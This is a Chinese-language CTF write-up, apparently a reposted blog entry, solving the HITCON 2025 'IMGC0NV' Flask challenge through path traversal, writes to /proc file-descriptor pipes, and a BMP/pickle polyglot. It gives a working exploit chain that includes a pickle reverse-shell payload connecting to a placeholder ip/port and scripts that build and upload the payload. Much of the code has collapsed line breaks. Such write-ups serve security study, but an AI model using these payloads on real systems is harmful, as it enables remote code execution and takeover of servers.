当前位置: 首页 > news >正文

hintcon2025 IMGC0NV

#web

参考: using bmp polyglots to get rce

from flask import Flask, request, send_file, g
import os
import io
import zipfile
import tempfile
from multiprocessing import Pool
from PIL import Image# 图片转换函数
def convert_image(args):file_data, filename, output_format, temp_dir = argstry:# 读取图片数据with Image.open(io.BytesIO(file_data)) as img:# 如果不是RGB模式则转换为RGBif img.mode != "RGB":img = img.convert('RGB')filename = safe_filename(filename)  # 处理文件名orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None  # 获取原始扩展名ext = output_format.lower()  # 输出格式小写if orig_ext:out_name = filename.replace(orig_ext, ext, 1)  # 替换扩展名else:out_name = f"{filename}.{ext}"  # 没有扩展名则直接加output_path = os.path.join(temp_dir, out_name)  # 输出路径# 保存图片到临时目录with open(output_path, 'wb') as f:img.save(f, format=output_format)return output_path, out_name, None  # 返回路径、文件名、无错误except Exception as e:return None, filename, str(e)  # 出错时返回错误信息# 文件名安全处理函数
def safe_filename(filename):filneame = filename.replace("/", "_").replace("..", "_")  # 替换斜杠和..为下划线return filename  # 返回处理后的文件名app = Flask(__name__)app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024  # 设置最大上传文件大小为5MB# 每次请求前初始化进程池
@app.before_request
def before_request():g.pool = Pool(processes=8)# 首页路由,返回index.html
@app.route('/')
def index():return send_file('index.html')# 图片转换接口
@app.route('/convert', methods=['POST'])
def convert_images():if 'files' not in request.files:return 'No files', 400  # 没有文件时返回400files = request.files.getlist('files')output_format = request.form.get('format', '').upper()  # 获取目标格式if not files or not output_format:return 'Invalid input', 400  # 输入无效时返回400with tempfile.TemporaryDirectory() as temp_dir:  # 创建临时目录file_data = []for file in files:if file.filename:file_data.append((file.read(), file.filename, output_format, temp_dir))if not file_data:return 'No valid images', 400  # 没有有效图片时返回400results = list(g.pool.map(convert_image, file_data))  # 多进程转换图片successful = []  # 成功列表failed = []      # 失败列表for path, name, error in results:if not error:successful.append((path, name))  # 成功则加入成功列表else:failed.append((name or 'unknown', error))  # 失败则加入失败列表if not successful:error_msg = "All conversions failed. " + \"; ".join([f"{f}: {e}" for f, e in failed])return error_msg, 500  # 全部失败时返回500zip_buffer = io.BytesIO()  # 创建内存zip文件with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:for path, name in successful:zf.write(path, name)  # 将成功的图片写入zipif failed:# 写入失败信息summary = f"Conversion Summary:\nSuccessful: {len(successful)}\nFailed: {len(failed)}\n\nFailures:\n"summary += "\n".join([f"- {f}: {e}" for f, e in failed])zf.writestr("errors.txt", summary)zip_buffer.seek(0)  # 指针回到开头# 返回zip文件return send_file(zip_buffer,mimetype='application/zip',as_attachment=True,download_name=f'converted_{output_format.lower()}.zip')# 主程序入口
if __name__ == '__main__':app.run(debug=True, host='0.0.0.0', port=5001)

step 1

#拼写错误 #waf逻辑漏洞

            filename = safe_filename(filename)  # 处理文件名orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None  # 获取原始扩展名ext = output_format.lower()  # 输出格式小写if orig_ext:out_name = filename.replace(orig_ext, ext, 1)  # 替换扩展名else:out_name = f"{filename}.{ext}"  # 没有扩展名则直接加output_path = os.path.join(temp_dir, out_name)  # 输出路径

此处的waf存在拼写错误filneame,文件名实际上原样返回

# 文件名安全处理函数
def safe_filename(filename):filneame = filename.replace("/", "_").replace("..", "_")  # 替换斜杠和..为下划线return filename  # 返回处理后的文件名

step 2

            # 保存图片到临时目录with open(output_path, 'wb') as f:img.save(f, format=output_format)

output_format 需要是以下选项之一,PIL 才能输出某些内容

bmp dib gif jpeg ppm png avif blp bufr pcx dds eps grib hdf5 jpeg2000 icns ico im tiff mpo msp pa
orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None
ext = output_format.lower()
if orig_ext:out_name = filename.replace(orig_ext, ext, 1)  # 只替换“最后一个点之后的那段字符串”的第一次出现
else:out_name = f"{filename}.{ext}"
output_path = os.path.join(temp_dir, out_name)
  • orig_ext 是“整个文件名里最后一个.之后的子串。
  • 然后把 filename 里“第一次出现的 orig_ext”替换为 ext(目标格式的小写,比如 png/bmp)。
  • 最终用 os.path.join(temp_dir, out_name) 作为实际写入路径。
../../aaa//meowmeow/../../meowmeow

解释:

  • 这个字符串里“最后一个点”在倒数的 .. 里,所以
    • orig_ext = '/meowmeow'(最后一个点后就是这个子串,注意包含斜杠)
  • 现在做替换:filename.replace('/meowmeow', 'png', 1) 只替换第一次出现的 '/meowmeow'
    • 变成 ../../aaa/png/../../meowmeow
  • 再拼接临时目录:/tmp/tmpxxxx/../../aaa/png/../../meowmeow
  • OS 在打开文件时会按路径语义折叠 ..,归一化后就是你要的绝对路径 /meowmeow,从而把输出写到该处。

step 3

什么是管道?

管道(Pipe),在 Linux 和类 Unix 系统中,是一种非常强大的**进程间通信(IPC)**机制。它的核心思想非常简单:

将一个命令(进程)的标准输出(stdout)直接连接到另一个命令(进程)的标准输入(stdin)。

它使用竖线符号 | 来表示。管道是 Linux “一切皆文件”“小工具,大协作” 哲学思想的完美体现。

一个简单的比喻

你可以把管道想象成一条流水线

  • 第一个命令 生产出原始产品(输出数据)。
  • 管道 | 就是传送带,把产品运送给下一个环节。
  • 第二个命令 接收传送带送来的产品,进行再加工(处理数据),然后输出最终结果。

整个过程是自动的、单向的,数据像水一样在管道中“流动”。

语法与工作原理

语法格式如下:

command_A [options] | command_B [options]

工作原理:

  1. 当你输入一个包含 | 的命令时,Shell 会同时启动 command_Acommand_B 两个进程。
  2. 它会在内核中创建一个临时的、无名的管道缓冲区。
  3. command_A标准输出(stdout) 被重定向到这个管道缓冲区。command_A 并不知道它的输出去了哪里,它只是像往常一样向屏幕发送数据,但数据被 Shell 导入了管道。
  4. command_B标准输入(stdin) 被重定向为从这个管道缓冲区读取数据。command_B 也并不知道它的输入来自键盘还是其他地方,它只是像从键盘读取一样,从管道中获取数据。
  5. 数据从左到右流动:command_A 生产一点,管道就传递一点,command_B 就消费一点。整个过程是同步的,无需等待 command_A 完全执行完毕。
  6. 管道两端的命令是并行运行的。

关于 /proc

/proc/50/fd:
dr-x------ 2 nobody nogroup  0 Aug 26 04:35 .
dr-xr-xr-x 9 nobody nogroup  0 Aug 26 04:35 ..
lrwx------ 1 nobody nogroup 64 Aug 26 04:35 0 -> /dev/null
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 1 -> 'pipe:[13245208]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 10 -> 'pipe:[13248964]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 13 -> 'pipe:[13248965]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 14 -> 'pipe:[13248966]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 15 -> 'pipe:[13248966]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 16 -> 'pipe:[13248967]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 17 -> 'pipe:[13248969]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 18 -> 'pipe:[13248971]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 19 -> 'pipe:[13248968]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 2 -> 'pipe:[13245209]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 20 -> 'pipe:[13248973]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 21 -> 'pipe:[13248970]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 22 -> 'pipe:[13248975]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 23 -> 'pipe:[13248972]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 24 -> 'pipe:[13248977]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 25 -> 'pipe:[13248974]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 26 -> 'pipe:[13248979]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 27 -> 'pipe:[13248976]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 28 -> /dev/null
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 29 -> 'pipe:[13248978]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 3 -> 'pipe:[13245225]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 30 -> 'pipe:[13248981]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 31 -> 'pipe:[13248980]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 32 -> 'pipe:[13248982]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 4 -> 'pipe:[13245225]'
lrwx------ 1 nobody nogroup 64 Aug 26 04:35 5 -> 'socket:[13245226]'
lrwx------ 1 nobody nogroup 64 Aug 26 04:35 6 -> '/tmp/wgunicorn-bsx0c9yz (deleted)'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 7 -> 'pipe:[13233966]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 8 -> 'pipe:[13233966]'
lrwx------ 1 nobody nogroup 64 Aug 26 04:35 9 -> 'socket:[13248963]'

/proc 是一个虚拟文件系统(Virtual File System),通常被称为 进程信息伪文件系统(Process Information Pseudo-File System)。

不代表硬盘上一个真实的存储区域,而是由 Linux 内核在内存中动态生成的。它提供了一个窗口,让你能够查看和(在某些情况下)与内核内部数据结构进行交互

你可以把它想象成系统的实时诊断和控制面板

主要特点和代表的意义

  1. 系统信息和进程信息的接口

    • /proc 目录中包含了一系列以数字命名的子目录(例如 /proc/1234),每个数字代表一个当前正在运行的进程的 PID(进程ID)。进入这个目录,你可以看到关于这个进程的详细信息,比如它正在使用的内存、环境变量、打开的文件等。
    • 同时,还有很多以其他名字命名的文件和目录(例如 /proc/cpuinfo, /proc/meminfo),它们提供了整个系统的硬件和内核状态信息。
  2. 虚拟的

    • 这些文件不占用实际的磁盘空间。如果你用 ls -l 查看它们的大小,通常会显示为 0。当你读取它们时,内核会即时地从内存中获取最新的信息并返回给你。所以,你每次读取到的都是系统此时此刻的最新状态。
  3. 可读可写(部分文件)

    • 虽然大部分文件是只读的,用于查看信息,但有一些文件是可写的。通过向这些文件写入特定的值,你可以动态地修改内核的运行参数,而无需重启系统。例如,/proc/sys/ 目录下的很多文件就用于此目的,这也是 sysctl 命令的工作原理基础。

/proc 目录下常见的重要文件和目录

文件或目录路径作用描述
/proc/cpuinfo查看关于 CPU 的详细信息,如型号、核心数、频率等。
/proc/meminfo查看详细的内存使用情况(物理内存、交换空间等)。free 命令的数据就来源于此。
/proc/loadavg显示系统的平均负载(1分钟、5分钟、15分钟)。
/proc/version显示当前正在运行的内核版本。
/proc/uptime显示系统已经运行了多长时间。
/proc/filesystems显示当前内核支持的文件系统类型。
/proc/net/目录,包含大量网络栈和连接的状态信息(如 /proc/net/tcp)。
/proc/devices显示已加载的设备驱动列表。
/proc/mounts显示当前所有挂载的文件系统信息。等价于 /etc/mtab
/proc/PID/特定进程的目录PID 是实际的进程号)。
└── /proc/PID/cmdline启动该进程时使用的命令行。
└── /proc/PID/cwd一个符号链接,指向进程的当前工作目录。
└── /proc/PID/environ显示该进程的环境变量。
└── /proc/PID/exe一个符号链接,指向正在运行的程序的完整路径。
└── /proc/PID/fd/一个目录,包含该进程打开的所有文件描述符的链接。
└── /proc/PID/status进程的状态信息,以更易读的方式呈现(如名称、状态、PID、内存使用等)。
/proc/sys/这个目录最为特殊,它里面的文件可用于读取和修改内核参数
└── /proc/sys/net/ipv4/ip_forward例如,写入 1 可以开启系统的 IP 转发功能。

关于 /proc/PID/fd

/proc/PID/fd/ 是一个特殊目录,它提供了一个窗口,让你可以看到某个特定进程(由 PID 标识)当前打开的所有文件描述符(File Descriptors)

  • /proc/: 这是一个虚拟文件系统(procfs),它不存在于物理磁盘上,而是由内核在内存中动态生成的。它提供了访问内核内部数据结构的接口,是系统和进程信息的中心。
  • PID: 这是你感兴趣的进程的ID号。你需要将其替换为实际的数字,例如你想查看 nginx 进程(PID 为 1234)的信息,那么目录就是 /proc/1234/fd/
  • fd/: 这是该进程目录下的一个子目录,全称是 file descriptors(文件描述符)。

什么是文件描述符 (File Descriptor)?

在深入之前,必须理解文件描述符是什么。在 Linux/Unix 哲学中,“一切皆文件”。这包括:

  • 真正的磁盘文件
  • 目录
  • 硬件设备(如键盘、鼠标、硬盘)
  • 网络套接字
  • 管道 (pipes)

当一个进程打开任何这些“资源”时,内核会返回一个文件描述符。它是一个小的、非负的整数(如 0, 1, 2, 3, …),作为该进程用于引用这个已打开资源的句柄

  • 0标准输入 (stdin)
  • 1标准输出 (stdout)
  • 2标准错误 (stderr)

之后打开的任何文件都会从 3 开始分配编号。

/proc/PID/fd/ 目录里有什么?

在这个目录下,你会看到一系列以数字命名的符号链接。每个链接的名字对应一个文件描述符编号,而链接指向的内容是该文件描述符所引用的实际资源。

示例:
假设一个 vim 进程的 PID 是 8888

ls -l /proc/8888/fd/

你可能会看到类似这样的输出:

总用量 0
lrwx------. 1 user user 64 6月   5 10:30 0 -> /dev/pts/2
lrwx------. 1 user user 64 6月   5 10:30 1 -> /dev/pts/2
lrwx------. 1 user user 64 6月   5 10:30 2 -> /dev/pts/2
lr-x------. 1 user user 64 6月   5 10:30 3 -> /home/user/myfile.txt
l-wx------. 1 user user 64 6月   5 10:30 4 -> /home/user/myfile.txt.swp

解读:

  • 0 -> /dev/pts/2: 文件描述符 0 (stdin) 指向伪终端 2,这意味着 vim 从这个终端窗口接收输入。
  • 1 -> /dev/pts/2: 文件描述符 1 (stdout) 指向同一个伪终端,vim 将输出打印到这个终端。
  • 2 -> /dev/pts/2: 文件描述符 2 (stderr) 也指向同一个终端,错误信息也在这里显示。
  • 3 -> /home/user/myfile.txt: 文件描述符 3只读 (lr-x------) 模式打开了正在编辑的文件 myfile.txt
  • 4 -> /home/user/myfile.txt.swp: 文件描述符 4只写 (l-wx------) 模式打开了 vim 的交换文件。

同时管道也会显示在 /proc/PID/fd/ 目录中

Linux 遵循“一切皆文件”的设计哲学,管道(Pipe)正是这一哲学的最佳体现。内核为管道提供了类似文件的接口,进程通过文件描述符来读写管道,因此它们自然会在 /proc/PID/fd/ 中现身。

1. 匿名管道 (Anonymous Pipes)

匿名管道通常由 shell 的 | 操作符创建,或在程序中使用 pipe() 系统调用创建。它没有文件系统上的名字。

  • /proc/PID/fd/ 中的样子
    它会显示为一个文件描述符,但其链接目标不是指向一个具体的文件名,而是一个特殊的 pipe: 标识,后面跟着该管道的 inode 号。

  • 示例
    假设有一个管道连接了两个命令:sleep 3600 | cat
    我们可以找到 sleep 进程和 cat 进程的 PID,然后查看它们的 fd 目录。

    对于 写入端 的进程(例如 sleep):

    $ ls -l /proc/1234/fd/
    总用量 0
    lrwx------ 1 user user 64 Jun  6 10:00 0 -> /dev/pts/0
    lrwx------ 1 user user 64 Jun  6 10:00 1 -> 'pipe:[31415926]'  # 这是标准输出,指向一个管道
    lrwx------ 1 user user 64 Jun  6 10:00 2 -> /dev/pts/0
    

    对于 读取端 的进程(例如 cat):

    $ ls -l /proc/5678/fd/
    总用量 0
    lrwx------ 1 user user 64 Jun  6 10:00 0 -> 'pipe:[31415926]'   # 这是标准输入,指向同一个管道!
    lrwx------ 1 user user 64 Jun  6 10:00 1 -> /dev/pts/0
    lrwx------ 1 user user 64 Jun  6 10:00 2 -> /dev/pts/0
    

    关键点

    • 两端的进程都拥有一个指向 pipe:[31415926] 的文件描述符。
    • 31415926 是这个管道在内核中的唯一标识符(inode号)。这个数字在两个进程中是一致的,这证明了它们通过同一个管道相连。

2. 命名管道 (Named Pipes 或 FIFO)

命名管道使用 mkfifo 命令或 mkfifo() 系统调用创建,它在文件系统中有一个实实在在的名字(虽然它不存储数据)。

  • /proc/PID/fd/ 中的样子
    它的行为更像一个普通文件。链接目标会直接指向文件系统中的管道文件名

  • 示例

    1. 首先创建一个命名管道:
      mkfifo /tmp/myfifo
      
    2. 在一个终端启动读取端:
      cat /tmp/myfifo
      
    3. 在另一个终端,用 ls 查看这个 cat 进程的 fd:
      $ ls -l /proc/9999/fd/
      总用量 0
      lrwx------ 1 user user 64 Jun  6 10:05 0 -> /dev/pts/1
      lrwx------ 1 user user 64 Jun  6 10:05 1 -> /dev/pts/1
      lrwx------ 1 user user 64 Jun  6 10:05 2 -> /dev/pts/1
      lr-x------ 1 user user 64 Jun  6 10:05 3 -> '/tmp/myfifo'  # 指向命名管道文件
      

    它会清楚地显示文件描述符 3 打开了一个名为 /tmp/myfifo 的命名管道。

现在你应该能发现,任意文件写入不仅可以写入文件,还能向有权限写的管道写入

并发的进程

        results = list(g.pool.map(convert_image, file_data))  # 多进程转换图片
  • g.pool.mapmultiprocessing.Poolmap 方法,挂在 Flask 的请求上下文对象 g 上(before_request 里创建了 Pool(processes=8))。

  • 它的作用类似内置 map,但会把 file_data 中的每个元素并行分发到进程池中的子进程,调用 convert_image 执行,阻塞直到全部完成,返回结果列表。这里每个结果是 convert_image 返回的三元组 (output_path, out_name, error)

  • 结果简述:

    • g: Flask 请求上下文临时存储
    • pool: 8 进程的 multiprocessing.Pool
    • map: 并行版 map,对 file_data 逐项调用 convert_image 并返回列表

当你使用 multiprocessing.ProcessPool 时,大致会发生以下事情:

  1. 主进程启动:你的 Python 程序作为主进程运行。
  2. 创建子进程
    • 根据设置的 start_methodfork, spawn, forkserver),主进程通过操作系统调用创建子进程。
    • 子进程会获得主进程代码的副本(或重新导入)。
  3. 序列化与传输
    • 主进程需要将任务函数(target)及其参数(args序列化(通常使用 pickle 模块)成字节数据。
    • 通过 IPC 机制(如 fork 继承的内存、管道等)将这些字节数据传递给子进程。
  4. 子进程执行
    • 子进程pickle反序列化接收到的函数和参数。
    • 在自己的 Python 解释器和内存空间中执行该函数。
  5. 结果返回
    • 子进程将函数执行的结果序列化。
    • 通过 IPC 机制将结果返回给主进程。
  6. 主进程收集:主进程反序列化结果,进行后续处理。

反序列化利用

BM开头是合法的pickle

import pickle
from PIL import Imageclass Meow(object):def __reduce__(self):return (exec, ('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")',))W, H = 8771, 5903 tail = pickle.dumps(Meow(), protocol=pickle.HIGHEST_PROTOCOL)im = Image.new("RGB", (W, H), (0, 0, 0))row = []
pad_len = (-len(tail)) % 3
data = tail + b"\x00" * pad_len
for i in range(0, len(data), 3):B, G, R = data[i], data[i+1], data[i+2]row.append((R, G, B)) pixels = im.load()
for x, (r, g, b) in enumerate(row):pixels[x, H - 1] = (r, g, b)im.save("pickle.bmp")
im.save("pickle.png")

创建的 BMP 长 ~155MB,远远超过应用程序的 5MB 大小限制,但将其保存为 PNG 使其仅为 151KB,利用 PIL 转换会png即可。

但是

  • 在 Python3 的 pickle 协议里,字节 0x42(字符 B)是 opcode:BINBYTES,其格式为:B + 4 字节小端长度 L + 接下来 L 个字节的数据。
  • 字节 0x4D(字符 M)本身也是一个合法 opcode:BININT2(2 字节小端无符号整数),但只有在它没有被前一个指令当作“数据”消耗时才会被当作指令解释。

结合 BMP 的“BM”开头

  • BMP 以 B M 开头。pickle 看到首字节 B 时,会把后面“紧随其后”的 4 个字节当作 BINBYTES 的长度字段。
  • 其中第一个字节正好就是 M(0x4D),因此 M 在这里不是指令,而是被当作“长度字段的最低字节”。再加上后面 3 个字节(来自 BMP 头里的文件大小字段的前 3 个字节),就形成了一个通常非常巨大的长度 L
  • 结果:pickle 会“等待读取 L 个字节”的 BINBYTES 负载,导致需要先喂入超大体量的数据(常见可达 GB 级)才能继续向后解析,最终才有机会解析到你埋在文件尾部的真正 pickle 负载并触发执行。

一句话概括:对 pickle 而言,BMP 的“BM”会把 B 解释为“我要读一个超长 bytes 对象”,把M当作这个 bytes 的长度字段的一部分,从而让反序列化阻塞等待大量数据。

单个 BMP 约 155MB。如果应用在一次请求里并行启动 8 个任务,各自都会把自己的“完整 BMP 字节流”写入同一数据通道(例如某个流/管道);合计就能凑到 ~8 × 155MB ≈ 1.2GB,超过“Pickle 解释器等待的阈值”,从而让解释器最终读到末尾你埋的 Pickle payload 并执行。

# 导入必要的模块
from multiprocessing import Pipe, Pool  # 用于进程间通信和进程池管理
import os  # 提供操作系统相关功能
import time  # 时间相关操作def child(args):"""子进程函数,每个子进程执行的任务Args:args: 包含进程ID和管道信息的元组 (id, pipes)Returns:id: 进程ID"""# 解包参数id, pipes = args# 获取当前进程对应的接收端管道,发送端不需要使用recv_end, _ = pipes[id]print("child started:", id)# 读取二进制文件内容作为要发送的数据payload = open("./pickle.bmp", "rb").read()# 进程0作为主进程,负责发送自己的PID给其他进程if id == 0:# 获取当前进程的PID(通过读取/proc/self符号链接)pid = int(os.readlink("/proc/self"))# 向所有其他进程发送PIDfor _, send_end in pipes[1:]:send_end.send(pid)else:# 其他进程从管道接收进程0的PIDpid = recv_end.recv()print(f"process {id} sending {len(payload)} bytes")# 要写入的文件描述符列表(这里硬编码为6)pipe_fds = [6]# 向指定进程的文件描述符写入数据for fd in pipe_fds:# 构建目标进程的文件描述符路径fd_path = f"/proc/{pid}/fd/{fd}"# 以二进制写入模式打开文件描述符并写入数据with open(fd_path, "wb") as f:f.write(payload)return id# 设置进程池中的进程数量
NUM_PROCS = 8
# 创建进程池
pool = Pool(processes=NUM_PROCS)# 创建管道列表,用于进程间通信
pipes = list()
for i in range(NUM_PROCS):# 创建单向管道(duplex=False表示单向)recv_end, send_end = Pipe(duplex=False)# 将管道的接收端和发送端存储为元组pipes.append((recv_end, send_end))# 准备任务列表
tasks = list()
for i in range(NUM_PROCS):# 每个任务包含进程ID和所有管道的引用tasks.append((i, pipes))# 使用进程池并行执行任务
# pool.map会将tasks列表中的每个元素作为参数传递给child函数
results = list(pool.map(child, tasks))# 注意:这里没有关闭进程池,实际使用时应该添加pool.close()和pool.join()
import requestsURL = "http://localhost:5000"
# URL = "http://imgc0nv.chal.hitconctf.com:30603"def bmp_payload(filename: str):return f"../../usr/share/doc/li{filename.rsplit('.', 1)[1] if '.' in filename else filename}fr6/../../../../../..{filename}"p = '/proc/self/fd/13'
r = requests.post(URL + "/convert", files=[("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),
], data={
"format": "BMP"
})print(r.status_code)
print(r.content[:200])

QEF

#目录穿越 #python #脏文件写入 #任意文件写入 #进程间通信 #/proc利用 #pickle构造

http://www.dtcms.com/a/355754.html

相关文章:

  • 2024中山大学研保研上机真题
  • 多模态融合新纪元:Ovis2.5 本地部署教程,实现文本、图像与代码的深度协同推理
  • 力扣hot100:滑动窗口最大值优化策略及思路讲解(239)
  • MySQL 索引失效全解析与优化指南
  • 【软考】中级网络工程师历年真题合集下载(2015-2024)
  • Java多线程超详学习内容
  • Python 中的反射机制与动态灵活性
  • Spring学习笔记:Spring JDBC(jdbc Template)的深入学习和使用
  • 行业前瞻:在线教育系统源码与网校APP开发的技术进化方向
  • C++学习笔记之异常处理
  • Pruning-Guided Curriculum Learning
  • 机器视觉学习-day06-图像旋转
  • MPPT的基本原理
  • 如何循环同步下载文件
  • Yolov8 pose 推理部署笔记
  • HTML应用指南:利用POST请求获取全国中国工商银行网点位置信息
  • 序列化,应用层自定义协议
  • 万博智云联合华为云共建高度自动化的云容灾基线解决方案
  • 浅谈JMeter Listener
  • 自学嵌入式第三十天:Linux系统编程-线程的控制
  • 因果推断在解决多触点归因问题上的必要性
  • 利用ollama部署本地大模型 离线使用
  • 告别Java依赖!GISBox三维场景编辑+服务发布一站式工具横评
  • 模型汇总-数学建模
  • echarts碰到el-tabs首次加载echarts宽度只有100px
  • LoRA模型的可训练参数解析(61)
  • 杂记 08
  • CnSTD+CnOCR的联合使用
  • vsgCs显示谷歌全球倾斜模型-节点
  • 9 从 “内存怎么存” 到 “指针怎么用”:计算机内存编址机制 + C 语言指针核心 + memory 模拟实现